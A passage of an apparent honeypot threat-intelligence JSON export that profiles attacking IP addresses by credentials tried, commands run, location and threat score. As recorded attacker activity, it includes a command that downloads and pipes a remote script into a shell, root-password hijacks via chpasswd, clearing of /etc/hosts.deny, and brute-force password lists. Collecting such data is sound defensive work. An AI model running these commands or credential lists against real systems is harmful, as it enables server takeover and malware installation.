        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:HyJyUFwXZWgk\"|chpasswd|bash",
        "echo \"root:Sb0pvhxRpso0\"|chpasswd|bash",
        "echo \"root:ebzq92hQq181\"|chpasswd|bash",
        "echo \"root:shzb9FhNnWND\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": null,
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 10.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 28.4,
        "persistence": 2.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 684,
        "days_active_30d": 3,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-05T17:33:11.820000+00:00",
        "last_seen_30d": "2026-04-07T20:15:39.921000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 502,
        "Suricata": 182
      }
    },
    "171.231.192.199": {
      "attack_count": 459,
      "first_seen": "2026-04-14T22:41:35.895Z",
      "last_seen": "2026-04-14T23:18:07.120Z",
      "sessions": 91,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "test",
        "support",
        "user",
        "1234",
        "123456",
        "admian",
        "anton",
        "auto",
        "belkinstyle",
        "bin",
        "btf",
        "cf1c22",
        "cisco",
        "config",
        "ftp",
        "ftpuser",
        "george",
        "guest"
      ],
      "passwords_attempted": [
        "admin",
        "1234",
        "password",
        "123456",
        "abc123",
        "admin123",
        "0l0ctyQh243O63uD",
        "1",
        "1111",
        "12345",
        "12345678",
        "321start",
        "72ca06",
        "OkwKcECs8qJP2Z",
        "P@ssw0rd",
        "abcd1234",
        "abcdefg",
        "admin01",
        "admin@123",
        "administrator"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Da Nang",
      "asn": 7552,
      "as_org": "Viettel Group",
      "threat_score": 20.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 28.1,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 652,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-14T22:41:35.895000+00:00",
        "last_seen_30d": "2026-04-14T23:19:09.563000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 459,
        "Suricata": 193
      }
    },
    "112.217.188.122": {
      "attack_count": 446,
      "first_seen": "2026-04-21T07:42:45.571Z",
      "last_seen": "2026-04-22T19:26:08.322Z",
      "sessions": 54,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "345gs5662d34",
        "dev",
        "odoo",
        "testbox",
        "user",
        "admin",
        "admin1234",
        "alex",
        "ali",
        "appuser",
        "bot",
        "deploy",
        "frappe",
        "gitea",
        "kira",
        "oracle",
        "sabina",
        "sopuser"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1",
        "1234Qwert",
        "123qweasd",
        "1QAZ2wsx..",
        "1qaZXsw2",
        "1qaz2wsx",
        "4rfv$RFV",
        "A123456/",
        "Aa123123.",
        "Changeme_123",
        "Default2026",
        "Dev30",
        "Odoo13!",
        "Odoo27",
        "P@ssw0rd",
        "Password12345",
        "QWER1234qwer",
        "Redhat"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"Dev30\\nX3crKucKCEZr\\nX3crKucKCEZr\\n\"|passwd",
        "echo \"root:G8uc7wd3i4Di\"|chpasswd|bash",
        "echo \"testbox\\nRAijY5peMbSk\\nRAijY5peMbSk\\n\"|passwd",
        "echo -e \"Dev30\\nX3crKucKCEZr\\nX3crKucKCEZr\"|passwd|bash",
        "echo -e \"testbox\\nRAijY5peMbSk\\nRAijY5peMbSk\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.log.closed",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.session.params",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Yongin-si",
      "asn": 3786,
      "as_org": "LG DACOM Corporation",
      "threat_score": 30.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 27.6,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 575,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-21T07:42:45.571000+00:00",
        "last_seen_30d": "2026-04-22T19:27:16.335000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 446,
        "Suricata": 129
      }
    },
    "209.99.189.177": {
      "attack_count": 414,
      "first_seen": "2026-04-26T00:32:51.431Z",
      "last_seen": "2026-04-27T11:44:32.299Z",
      "sessions": 48,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ubuntu",
        "debian",
        "dev",
        "ftproot",
        "jahan",
        "nodeuser",
        "oracle",
        "pz",
        "root2",
        "server",
        "teamspeak",
        "tomcat",
        "user9",
        "vpn"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "123456",
        "123QWEasd123",
        "1QAZ.2WSX",
        "1qazxsw@cde#",
        "321oracle123",
        "808080",
        "Aa112211.",
        "Aa1231998",
        "Abc123@@",
        "CCaa123123",
        "Ch1r1m0y4",
        "Rhosts:authentication:refused:for:%.100s::bad:ownership:or:modes:for:home:directory.",
        "Support@123",
        "Teamspeak02!",
        "Tx123456",
        "Xh2024!@",
        "ZAQ!2wsx2023!"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:3wgAhumQjNow\"|chpasswd|bash",
        "echo \"root:D7l0aWKermPy\"|chpasswd|bash",
        "echo \"root:EjdtndeLM4XI\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Switzerland",
      "country_code": "CH",
      "city": "Zurich",
      "asn": 402253,
      "as_org": "SKN Subnet & Telecom Ltd",
      "threat_score": 36.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 27.2,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 521,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-26T00:32:51.431000+00:00",
        "last_seen_30d": "2026-04-27T11:45:33.748000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 414,
        "Suricata": 107
      }
    },
    "101.47.156.170": {
      "attack_count": 398,
      "first_seen": "2026-04-05T13:31:04.187Z",
      "last_seen": "2026-04-23T21:35:34.622Z",
      "sessions": 56,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "345gs5662d34",
        "admin",
        "ftpuser",
        "ops",
        "user",
        "claude",
        "deploy",
        "frappe",
        "gaurav",
        "gitolite",
        "guest",
        "hp",
        "mw",
        "nuxeo",
        "omar",
        "server",
        "sysadmin",
        "temp"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "password",
        "112233",
        "1122334455",
        "123",
        "12345678a!",
        "123456Qw",
        "1q2w3e4r5t",
        "1qaz!QAZ",
        "2glehe5t24th1issZs",
        "Aa123456",
        "Aa520250",
        "Admin$2026",
        "Asd@1234",
        "MoeClub.org",
        "P@ssw0rd",
        "Password1",
        "QWER@1234",
        "Root11111111."
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"112233\\nEB0VLI6Ed1WI\\nEB0VLI6Ed1WI\\n\"|passwd",
        "echo \"p@ssw0rd\\n4LtlgF1BDInh\\n4LtlgF1BDInh\\n\"|passwd",
        "echo -e \"112233\\nEB0VLI6Ed1WI\\nEB0VLI6Ed1WI\"|passwd|bash",
        "echo -e \"p@ssw0rd\\n4LtlgF1BDInh\\n4LtlgF1BDInh\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 150436,
      "as_org": "Byteplus Pte. Ltd.",
      "threat_score": 42.2,
      "threat_level": "medium",
      "score_components": {
        "frequency": 27.2,
        "persistence": 15.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 525,
        "days_active_30d": 19,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-05T13:31:04.187000+00:00",
        "last_seen_30d": "2026-04-23T21:36:40.394000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 398,
        "Suricata": 127
      }
    },
    "144.31.220.38": {
      "attack_count": 371,
      "first_seen": "2026-04-16T10:07:47.939Z",
      "last_seen": "2026-04-17T05:24:42.605Z",
      "sessions": 73,
      "ports": [],
      "usernames_attempted": [
        "root",
        "db",
        "debian",
        "demo",
        "elasticsearch",
        "ftpadmin",
        "ftptest",
        "git",
        "jenkins",
        "mysql",
        "odoo",
        "server",
        "stack",
        "test",
        "ts3",
        "user01",
        "webadmin",
        "www",
        "dev",
        "elastic"
      ],
      "passwords_attempted": [
        "!QAZ@WSX",
        "1234",
        "db",
        "debian",
        "demo",
        "elasticsearch",
        "ftpadmin",
        "ftptest",
        "git",
        "jenkins",
        "mysql",
        "odoo",
        "password",
        "root",
        "root123",
        "server",
        "stack",
        "test",
        "ts3",
        "user01"
      ],
      "commands_executed": [
        "cd /tmp; wget http://2.26.98.67/bin.sh -O- | sh"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.login.success",
        "cowrie.session.file_download",
        "cowrie.session.file_download.failed",
        "cowrie.session.params"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 216039,
      "as_org": "EdgeSec Technologies Limited",
      "threat_score": 38.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 27.9,
        "persistence": 7.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 623,
        "days_active_30d": 9,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-16T01:00:34.549000+00:00",
        "last_seen_30d": "2026-04-24T06:28:55.838000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 371,
        "Suricata": 252
      }
    },
    "27.79.46.66": {
      "attack_count": 367,
      "first_seen": "2026-04-16T08:42:09.720Z",
      "last_seen": "2026-04-16T09:06:22.271Z",
      "sessions": 73,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "root",
        "developer",
        "test",
        "1234",
        "ashish",
        "auto",
        "bin",
        "brenda",
        "carol",
        "db2inst2",
        "ftp",
        "george",
        "guest",
        "joggler",
        "kim",
        "matrix",
        "mms",
        "nikita",
        "office"
      ],
      "passwords_attempted": [
        "admin",
        "12345",
        "123456",
        "admin123",
        "password",
        "039715582364317",
        "0l0ctyQh243O63uD",
        "1",
        "123",
        "1234",
        "@",
        "OkwKcECs8qJP2Z",
        "abcd1234",
        "admin01",
        "admin1",
        "admin@123",
        "administrator",
        "aerohive",
        "ashish",
        "bananapi"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Da Nang",
      "asn": 7552,
      "as_org": "Viettel Group",
      "threat_score": 22.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 27.2,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 524,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-16T08:42:09.720000+00:00",
        "last_seen_30d": "2026-04-16T09:07:24.470000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 367,
        "Suricata": 157
      }
    },
    "212.23.133.68": {
      "attack_count": 263,
      "first_seen": "2026-04-09T06:16:49.487Z",
      "last_seen": "2026-04-09T06:53:22.998Z",
      "sessions": 29,
      "ports": [],
      "usernames_attempted": [
        "root",
        "steam",
        "345gs5662d34",
        "server",
        "andreas",
        "bot",
        "main",
        "mike",
        "n8n",
        "postgres",
        "pq",
        "sammy",
        "stu",
        "ubuntu",
        "user",
        "vpn"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "000",
        "123456",
        "Abc.1234",
        "Admin123456789!",
        "Dragon123",
        "N8n123456",
        "Qwertyuiop12",
        "Root1234..",
        "Sammy1",
        "andreas",
        "bot12345",
        "mike2025",
        "newpass",
        "password12345",
        "pq",
        "qazwsx000#",
        "qwe123!!",
        "root12#"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"newpass\\nobIhYoz4q2tN\\nobIhYoz4q2tN\\n\"|passwd",
        "echo \"test123\\nK1zmf6q9I97s\\nK1zmf6q9I97s\\n\"|passwd",
        "echo -e \"newpass\\nobIhYoz4q2tN\\nobIhYoz4q2tN\"|passwd|bash",
        "echo -e \"test123\\nK1zmf6q9I97s\\nK1zmf6q9I97s\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Bochum",
      "asn": 12329,
      "as_org": "GLASFASER RUHR GmbH & Co. KG",
      "threat_score": 11.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 328,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-09T06:16:49.487000+00:00",
        "last_seen_30d": "2026-04-09T06:54:27.220000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 263,
        "Suricata": 65
      }
    },
    "103.117.56.152": {
      "attack_count": 262,
      "first_seen": "2026-04-11T18:10:10.371Z",
      "last_seen": "2026-04-11T18:55:42.501Z",
      "sessions": 29,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "345gs5662d34",
        "test",
        "dev",
        "ftpuser",
        "john",
        "odoo",
        "testman",
        "user2",
        "vpn",
        "wildfly",
        "wp-user"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "1qaz",
        "1qaz2wsx",
        "A12345678H",
        "Cloud12#$",
        "ODOO",
        "P@ssw0rd88",
        "Root123@",
        "Root888@@",
        "Vpn25",
        "ZAQ!2wsx2020@",
        "a@123456b",
        "admin@123!",
        "dEV",
        "ftpuser12",
        "password",
        "redhat123!",
        "root2020#$"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"root:UZkNm0Heaqos\"|chpasswd|bash",
        "echo \"ubuntu!@\\nhOg7T0rwhKWB\\nhOg7T0rwhKWB\\n\"|passwd",
        "echo -e \"ubuntu!@\\nhOg7T0rwhKWB\\nhOg7T0rwhKWB\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 136052,
      "as_org": "PT Cloud Hosting Indonesia",
      "threat_score": 13.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 329,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-11T18:10:10.371000+00:00",
        "last_seen_30d": "2026-04-11T18:56:49.028000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 262,
        "Suricata": 67
      }
    },
    "161.132.39.242": {
      "attack_count": 262,
      "first_seen": "2026-04-16T11:57:30.899Z",
      "last_seen": "2026-04-16T12:39:50.753Z",
      "sessions": 29,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "server",
        "arthur",
        "demo1",
        "deploy",
        "deployer",
        "drivetest",
        "frappe",
        "git",
        "hsh",
        "odoo",
        "pjsuser",
        "steam",
        "test",
        "test05",
        "user2",
        "vpn",
        "webserver"
      ],
      "passwords_attempted": [
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "123.zxcv",
        "123654789",
        "123_QWER",
        "15",
        "159951",
        "321",
        "Passw0rd",
        "Rdf@2026",
        "Root2025#$",
        "changeme",
        "ddXX000",
        "demo1",
        "deployer1",
        "drivetest",
        "frappe14!",
        "letmein",
        "odoo!@#$"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"root:zSmu7DtlEFmm\"|chpasswd|bash",
        "echo \"server05\\nNsuW5Aek6Bgw\\nNsuW5Aek6Bgw\\n\"|passwd",
        "echo -e \"server05\\nNsuW5Aek6Bgw\\nNsuW5Aek6Bgw\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Peru",
      "country_code": "PE",
      "city": null,
      "asn": 3132,
      "as_org": "Red Cientifica Peruana",
      "threat_score": 20.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 329,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-16T11:57:30.899000+00:00",
        "last_seen_30d": "2026-04-16T12:40:58.300000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 262,
        "Suricata": 67
      }
    },
    "51.68.65.117": {
      "attack_count": 261,
      "first_seen": "2026-04-18T16:48:20.055Z",
      "last_seen": "2026-04-18T17:23:05.426Z",
      "sessions": 29,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "postgres",
        "test",
        "backupuser",
        "odoo",
        "server",
        "teamspeak",
        "test3",
        "test8",
        "tianhao",
        "ubuntu",
        "user",
        "vpn",
        "wsuser"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!QAZ4esz",
        "1234",
        "123456",
        "Odoo21!",
        "Qwert33333",
        "Root54321!!",
        "Teamspeak18!",
        "UNCHANGED",
        "admin12345678$",
        "asdf123",
        "ddZZ111",
        "pass2023",
        "passw0rd123",
        "password",
        "password123",
        "postgres123",
        "qazwsx2024!@",
        "qwe!@#123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:p8mSscIFeXbz\"|chpasswd|bash",
        "echo \"root:us1EMLVp62kK\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "France",
      "country_code": "FR",
      "city": null,
      "asn": 16276,
      "as_org": "OVH SAS",
      "threat_score": 22.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 326,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-18T16:48:20.055000+00:00",
        "last_seen_30d": "2026-04-18T17:24:11.140000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 261,
        "Suricata": 65
      }
    },
    "45.142.193.135": {
      "attack_count": 254,
      "first_seen": "2026-04-27T01:37:53.698Z",
      "last_seen": "2026-04-28T11:56:38.133Z",
      "sessions": 50,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "test",
        "Admin",
        "administrator",
        "cisco",
        "root",
        "ubnt"
      ],
      "passwords_attempted": [
        "admin",
        "password",
        "",
        "12345678",
        "Admin@123",
        "cisco",
        "1qaz2wsx",
        "1qaz@WSX",
        "3333333333",
        "@#dsws3g",
        "Admin!@#",
        "Admin123",
        "P@ssw0rd",
        "P@ssw0rd1",
        "P@ssw0rd@123",
        "Pass@123",
        "Password1",
        "Password11",
        "Start123",
        "Test1234$"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "Romania",
      "country_code": "RO",
      "city": null,
      "asn": 214295,
      "as_org": "Skynet Network Ltd",
      "threat_score": 39.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 26.1,
        "persistence": 1.7,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 406,
        "days_active_30d": 2,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-27T01:37:53.698000+00:00",
        "last_seen_30d": "2026-04-28T11:57:47.564000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 254,
        "Suricata": 152
      }
    },
    "95.39.82.218": {
      "attack_count": 236,
      "first_seen": "2026-04-02T02:19:03.638Z",
      "last_seen": "2026-04-02T03:22:06.170Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
